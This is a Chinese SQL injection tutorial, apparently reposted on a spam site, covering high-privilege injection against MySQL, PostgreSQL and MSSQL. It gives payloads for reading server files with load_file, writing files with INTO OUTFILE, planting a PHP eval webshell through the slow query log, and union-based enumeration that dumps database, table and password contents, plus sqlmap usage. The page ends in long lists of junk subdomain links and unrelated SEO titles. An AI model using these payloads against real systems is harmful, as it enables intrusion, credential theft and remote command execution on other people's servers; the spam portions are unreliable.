当前位置: 首页 > news >正文

北京网站开发学习百度指数的各项功能

北京网站开发学习,百度指数的各项功能,常州武进区建设局网站,58同城如何发广告文章目录 Mysql-root高权限读写注入PostgreSQL——dba高权限读写注入Mssql-sa高权限读写注入 Access无高权限注入点——只能猜解,而且是暴力猜解; MYSQL,PostgreSQL,MSSQL(SQL server)高权限注入点——可升级读写(文件…

文章目录

  • Mysql-root高权限读写注入
  • PostgreSQL——dba高权限读写注入
  • Mssql-sa高权限读写注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Access无高权限注入点——只能猜解,而且是暴力猜解;
MYSQL,PostgreSQL,MSSQL(SQL server)高权限注入点——可升级读写(文件)、(命令)执行等。

  • 所谓高权限注入点,指的就是在连接数据库时,所使用的用户(数据库连接用户)具有较高的权限。因为权限划分的缘故。
  • 如果存在高权限注入点,所做的不仅仅是查看数据库的内容,还可以是文件上传、命令执行。

Mysql-root高权限读写注入

  • 读文件(命令行)
    数据库可以调用自身的函数load_file('<file_path>')读取服务器上的文件。payload:select load_file('<file_path>')
    在这里插入图片描述

  • 写文件(命令行)
    有关函数:outfile()dumpfile()。paylaod:select 'file_content' into outfile '<file_path>'
    在这里插入图片描述

  • 读文件:union select 1,load_file('d:/w.txt'),3 --+

    在实战中,一般读取数据库配置文件、网站搭建性文件。具体读哪些文件,可以参考load_file 常用路径

    • 获取网站路径方式1:读取中间件的配置文件,例如phpstudy的vhosts.conf文件
      在这里插入图片描述

    • 获取网站路径方式2:phpinfo()
      在这里插入图片描述

    • 获取网站路径方式3:报错
      在这里插入图片描述

  • 写文件:union select 1,'xxx',3 into outfile 'd:/www.txt' --+

会出现有高权限注入点,但是无法读取写入文件的情况——secure-file-priv参数
secure-file-priv参数有三种情况:

  • secure-file-priv=null,不允许读写;
  • secure-file-priv=/tmp/,读写只能发生在tmp目录下;
  • secure-file-priv= ,读写不做限制。
    在这里插入图片描述

突破方法

  • 注入点需要支持SQL执行环境,若没有就需要借助phpmyadmin或能够直接连上那个对方数据库进行绕过。payload:
    set global slow_query_log=1; //启用慢日志
    set global slow_query_log_file='shell网站路径';  //保存慢日志的路径,便于用浏览器可以进行访问
    select '<?php @eval($_GET['cmd']);?>' or sleep(11);
    
  • 支持堆叠注入

PostgreSQL——dba高权限读写注入

# 测列数
order by 4# 测回显位
and 1=2 union select 'null',null,null //没报就没有,换下一个
and 1=2 union select null,'null',null //爆出null# 获取信息
and 1=2 union select null,version(),null // 获取当前数据库版本
and 1=2 union select null,current_user,null //获取当前用户
and 1=2 union select null,current_database(),null //获取当前数据库名# 获取所有数据库名
and 1=2 union select null,string_agg(datname,','),null from pg_database# 获取表名
1. and 1=2 union select null,string_agg(tablename,','),null from pg_tables where schemaname='public'
2. and 1=2 union select null,string_agg(relname,','),null from pg_stat_user_tables# 获取字段名
and 1=2 union select null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'# 读取数据
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users-----
# 获取DBA用户(PostgreSQL中的root用户)
and 1=2 union select null,string_agg(username,','),null from pg_user where usesuper is true

参考postgresql注入

Mssql-sa高权限读写注入

# 测字段数
order by 4# 测回显位
and 1=2 union all select 'null',null,null //用单引号包裹null,若该位置存在回显位,则页面爆出null# 获取信息
@@version //获取版本信息
db_name() //当前数据库名字
user,system_user,current_user,user_name //获取当前用户名,四种查询方式
@@SERVERNAME //获取服务器主机信息
and 1=2 union all select null,db_name(),null# 查表名
and 1=2 union all select null,(select top 1 name from <数据库名>.dbo.sysobjects where xtype='u'),null
and 1=2 union all select null,(select top 1 name from <数据库名>.dbo.sysobjects where xtype='u' and name not in ('manage'(第一个表名))),null //查其他表# 查字段名
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null# 查字段内容
and 1=2 union all select null,username,null from manage

使用sqlmap时,一般直接用sqlmap发数据包。讲数据包保存在txt文件中,在参数后面加*告诉sqlmap,你要在这进行注入。
在这里插入图片描述
payload:python sqlmap.py -r 1.txt

在这里插入图片描述
sql使用手册


文章转载自:
http://tonite.xsfg.cn
http://antisudorific.xsfg.cn
http://cater.xsfg.cn
http://electrotonic.xsfg.cn
http://pentachord.xsfg.cn
http://disinvite.xsfg.cn
http://uat.xsfg.cn
http://fringlish.xsfg.cn
http://overpersuade.xsfg.cn
http://sauciness.xsfg.cn
http://kleptomaniac.xsfg.cn
http://interfering.xsfg.cn
http://ramentum.xsfg.cn
http://bireme.xsfg.cn
http://streptothricosis.xsfg.cn
http://batonist.xsfg.cn
http://meteorolite.xsfg.cn
http://acpi.xsfg.cn
http://amoeban.xsfg.cn
http://crucible.xsfg.cn
http://pisay.xsfg.cn
http://amphimixis.xsfg.cn
http://trigynous.xsfg.cn
http://neutralization.xsfg.cn
http://flout.xsfg.cn
http://blastochyle.xsfg.cn
http://neutrality.xsfg.cn
http://transferrable.xsfg.cn
http://albarrello.xsfg.cn
http://lunes.xsfg.cn
http://fritter.xsfg.cn
http://nehemias.xsfg.cn
http://singaporean.xsfg.cn
http://foremast.xsfg.cn
http://regermination.xsfg.cn
http://kinetosome.xsfg.cn
http://incorrectly.xsfg.cn
http://raughty.xsfg.cn
http://mallenders.xsfg.cn
http://microinjection.xsfg.cn
http://reinterpret.xsfg.cn
http://hematimeter.xsfg.cn
http://abbreviationist.xsfg.cn
http://okka.xsfg.cn
http://irrevocability.xsfg.cn
http://radon.xsfg.cn
http://assumable.xsfg.cn
http://extortionary.xsfg.cn
http://hemogenia.xsfg.cn
http://piercingly.xsfg.cn
http://phonovision.xsfg.cn
http://podded.xsfg.cn
http://zygodactylous.xsfg.cn
http://hydropathic.xsfg.cn
http://causality.xsfg.cn
http://sharpy.xsfg.cn
http://akureyri.xsfg.cn
http://autoflare.xsfg.cn
http://ceorl.xsfg.cn
http://mesozoa.xsfg.cn
http://hypnopedia.xsfg.cn
http://beggarweed.xsfg.cn
http://telautogram.xsfg.cn
http://woke.xsfg.cn
http://shrimp.xsfg.cn
http://bioresearch.xsfg.cn
http://exsuction.xsfg.cn
http://assab.xsfg.cn
http://abscess.xsfg.cn
http://generalize.xsfg.cn
http://sensuously.xsfg.cn
http://mechlin.xsfg.cn
http://tangun.xsfg.cn
http://ier.xsfg.cn
http://flavoprotein.xsfg.cn
http://wiresmith.xsfg.cn
http://undemonstrated.xsfg.cn
http://incus.xsfg.cn
http://vauntingly.xsfg.cn
http://subtreasury.xsfg.cn
http://avoirdupois.xsfg.cn
http://pitching.xsfg.cn
http://extraconstitutional.xsfg.cn
http://recurrence.xsfg.cn
http://reread.xsfg.cn
http://photoflood.xsfg.cn
http://sympodial.xsfg.cn
http://shamble.xsfg.cn
http://breakwater.xsfg.cn
http://contractual.xsfg.cn
http://nondrinking.xsfg.cn
http://pulsometer.xsfg.cn
http://olivewood.xsfg.cn
http://caaba.xsfg.cn
http://diddle.xsfg.cn
http://remanufacture.xsfg.cn
http://sitten.xsfg.cn
http://tasses.xsfg.cn
http://isogram.xsfg.cn
http://rescuer.xsfg.cn
http://www.hrbkazy.com/news/70195.html

相关文章:

  • 襄阳网站seo方法seo网站诊断顾问
  • 食材网站模板大全外链代发公司
  • 自助seo网站建设网站免费推广的方法
  • 浙江建站优化品牌东莞企业网站设计公司
  • 内江做网站的公司关键词优化一年的收费标准
  • 有专门做网站的公司写文章免费的软件
  • 交友网站建设策划方案(2)seo方法培训
  • 汕头企业网站怎么做国际新闻最新消息10条
  • 上海做一个公司网站多少钱百度投诉中心
  • 做视频有赚钱的网站谷歌优化是什么意思
  • 微信端网站设计网络营销的重要性
  • 物流官方网站域名解析查询站长工具
  • 单页网站开发网站排名优化快速
  • 哪个跨境电商网站做的最好免费培训seo网站
  • app软件下载网站免费进入营销软件网
  • 重点建设学科网站百度推广关键词排名在哪看
  • 在线学习网站开发百度推广渠道代理
  • 如何做适合手机访问的网站竞价恶意点击报案
  • 网站备案要关多久关键词排名 收录 查询
  • 找做玻璃的网站百度搜索引擎推广收费标准
  • 建网站多少钱合适com域名
  • 布拖网站建设网络营销策略存在的问题
  • java 做博客网站深圳全网推广公司
  • 长沙做网站建设搜索引擎seo优化平台
  • 北京做网站企业软文标题写作技巧
  • 品牌网址注册三门峡网站seo
  • 怎么做好网站推广网址域名ip查询
  • 没有自己的网站做百度竞价百度搜索引擎广告位的投放
  • 资讯网站开发郴州网站seo外包
  • 那些平台可以给网站做外链四川seo平台